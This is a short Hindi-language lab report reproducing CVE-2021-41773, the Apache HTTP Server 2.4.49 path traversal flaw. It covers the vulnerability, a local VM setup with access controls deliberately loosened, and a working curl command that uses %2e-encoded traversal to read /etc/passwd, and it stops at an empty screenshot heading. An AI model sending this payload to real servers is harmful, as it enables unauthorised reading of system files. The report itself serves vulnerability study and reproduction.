CVE-2021-41773 भेद्यता पुनरुत्पादन रिपोर्ट

भेद्यता अवलोकन

• CVE ID: CVE-2021-41773
• भेद्यता नाम: Apache HTTP सर्वर पथ ट्रैवर्सल भेद्यता
• जोखिम स्तर: उच्च (CVSS 7.5)
• प्रभावित संस्करण: Apache HTTP सर्वर 2.4.49
• भेद्यता विवरण: Apache HTTP सर्वर 2.4.49 संस्करण में पथ सामान्यीकरण फ़ंक्शन ap_normalize_path के कार्यान्वयन में दोष है, जिसके कारण हमलावर %2e एन्कोडिंग वाले विशेष अनुरोधों को बनाकर पहुँच नियंत्रण को बायपास कर सकते हैं और वेब सर्वर पर किसी भी फ़ाइल को पढ़ सकते हैं।

वातावरण सेटअप

• ऑपरेटिंग सिस्टम: Ubuntu 20.04 (वर्चुअल मशीन)
• वेब सर्वर: Apache httpd 2.4.49 (मैन्युअल रूप से संकलित और स्थापित)
• लक्ष्य वातावरण: स्वतंत्र रूप से चल रहा है, पोर्ट 8080 पर सुन रहा है
• महत्वपूर्ण कॉन्फ़िगरेशन:
  • <Directory /> में Require all denied को Require all granted में बदलें
  • Alias /vuln को /tmp/vuln_dir पर इंगित करने के लिए जोड़ें और अनुमतियाँ सेट करें

भेद्यता पुनरुत्पादन

हमला कमांड

curl -v --path-as-is 'http://127.0.0.1:8080/vuln/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'

हमला स्क्रीनशॉट